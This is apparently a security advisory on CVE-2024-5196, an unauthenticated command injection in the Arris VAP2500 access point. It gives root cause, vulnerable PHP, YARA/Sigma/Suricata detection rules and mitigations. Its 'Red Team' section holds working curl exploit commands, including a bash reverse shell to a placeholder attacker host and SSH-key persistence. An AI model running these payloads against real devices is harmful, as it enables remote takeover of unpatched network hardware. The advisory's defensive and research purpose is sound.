CVE-2024-5196

Executive Summary

CVE-2024-5196 is a critical command injection vulnerability in the Arris VAP2500 wireless access point running firmware version 08.50. The flaw resides in the /tools_command.php file, where the cmb_header and txt_command parameters are not properly sanitized before being passed to a system shell. An unauthenticated attacker can exploit this remotely to execute arbitrary operating system commands with root privileges. The exploit has been publicly disclosed, increasing the risk of widespread scanning and compromise. No official patch is currently available from Arris, leaving affected devices exposed.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on a hardware device. The supply chain risk is limited to the device manufacturer's firmware distribution and the potential for compromised devices to be used as pivot points in network attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only affected component.
• Confidentiality Impact: High (C:H) – Full read access to device filesystem and network traffic.
• Integrity Impact: High (I:H) – Full write access to device filesystem and configuration.
• Availability Impact: High (A:H) – Can crash the device or disrupt network services.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using the Arris VAP2500.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the /tools_command.php web interface endpoint. This endpoint is intended for administrative diagnostic tools (e.g., ping, traceroute). The PHP script likely constructs a shell command by concatenating user-supplied input from the cmb_header and txt_command POST parameters without proper sanitization or escaping.

Root Cause: The application fails to validate or sanitize user input before passing it to a function like exec(), system(), or shell_exec(). An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary commands.

Attack Flow:

1. Attacker identifies a vulnerable Arris VAP2500 device (e.g., via Shodan or mass scanning).
2. Attacker sends a crafted HTTP POST request to /tools_command.php with malicious payload in cmb_header or txt_command.
3. The server executes the injected command with root privileges.
4. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Example Payload:

POST /tools_command.php HTTP/1.1
Host: target_ip
Content-Type: application/x-www-form-urlencoded

cmb_header=ping&txt_command=127.0.0.1;id

This would execute ping 127.0.0.1;id, returning the output of the id command.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable PHP code likely resembles:

Vulnerable Code (PHP):

<?php
$cmd = $_POST['cmb_header'] . " " . $_POST['txt_command'];
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
?>

Patched Code (Hypothetical):

<?php
$allowed_commands = ['ping', 'traceroute', 'nslookup'];
$header = $_POST['cmb_header'];
$command = $_POST['txt_command'];

if (!in_array($header, $allowed_commands)) {
    die("Invalid command header.");
}

// Escape shell arguments
$safe_command = escapeshellcmd($header) . " " . escapeshellarg($command);
$output = shell_exec($safe_command);
echo "<pre>" . htmlspecialchars($output) . "</pre>";
?>

The patched version uses a whitelist for the command header and escapes both the header and the argument to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Arris VAP2500 (firmware 08.50) in a lab environment.
• Attacker machine with curl, netcat, or Metasploit.

Step 1: Verify Vulnerability

curl -X POST http://<target_ip>/tools_command.php \
  -d "cmb_header=ping&txt_command=127.0.0.1;id"

Step 2: Reverse Shell Start a listener on attacker machine:

nc -lvnp 4444

Send payload:

curl -X POST http://<target_ip>/tools_command.php \
  -d "cmb_header=ping&txt_command=127.0.0.1;bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"

Step 3: Persistence (Example) Add SSH key:

curl -X POST http://<target_ip>/tools_command.php \
  -d "cmb_header=ping&txt_command=127.0.0.1;echo 'ssh-rsa AAA...' >> /tmp/.ssh/authorized_keys"

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /tools_command.php with unusual parameters.
• Look for shell metacharacters (;, |, &&, `) in POST data.
• Alert on outbound connections from the VAP2500 to unknown IPs on high ports (4444, 1337, etc.).

Honeypot: Deploy a fake VAP2500 endpoint that logs all POST data to /tools_command.php and alerts on any request.

Network Segmentation:

• Place VAP2500 devices in a separate VLAN with strict egress filtering.
• Block outbound connections from the device to the internet except for NTP and firmware updates.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /tools_command.php with cmb_header or txt_command parameters containing shell metacharacters.
• Outbound connections from the VAP2500 to unusual IPs/ports (e.g., 4444, 1337, 8080).
• DNS queries to known C2 domains.

File System IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/.sh, /tmp/backdoor).
• Modified /etc/passwd or /etc/shadow with new user accounts.
• Presence of SSH keys in /tmp/.ssh/ or /root/.ssh/.

Process IOCs:

• Unusual processes running as root (e.g., bash, nc, python).
• Reverse shell processes (e.g., bash -i).

Detection Engineering

YARA Rule

rule CVE_2024_5196_Command_Injection {
    meta:
        description = "Detects command injection attempts against Arris VAP2500 /tools_command.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-5196"
    strings:
        $cmd_inject = /(cmb_header|txt_command)=.*[;&|`$]/
        $php_endpoint = "/tools_command.php"
    condition:
        $php_endpoint and $cmd_inject
}

Sigma Rule

title: CVE-2024-5196 Command Injection on Arris VAP2500
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to /tools_command.php with command injection payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/tools_command.php'
        cs-uri-query|contains:
            - 'cmb_header='
            - 'txt_command='
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative use of diagnostic tools (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5196 Arris VAP2500 Command Injection"; flow:to_server; content:"POST"; http_method; content:"/tools_command.php"; http_uri; content:"cmb_header="; http_client_body; content:"txt_command="; http_client_body; pcre:"/(;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place VAP2500 devices on a separate VLAN with no internet access.
2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Monitor logs: Enable detailed logging on the device and central log collection.

Long-term Fix:

• Vendor patch: Await an official firmware update from Arris. Contact Arris support for ETA.
• Workaround: If patching is not possible, replace the device with a supported alternative.
• Web Application Firewall (WAF): Deploy a WAF rule to block requests containing shell metacharacters in POST parameters.

Compensating Controls:

• Network segmentation: Use ACLs to block outbound connections from the VAP2500.
• Intrusion Prevention System (IPS): Deploy the Suricata rule above to block malicious requests.
• Regular scanning: Use vulnerability scanners to identify and track affected devices.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert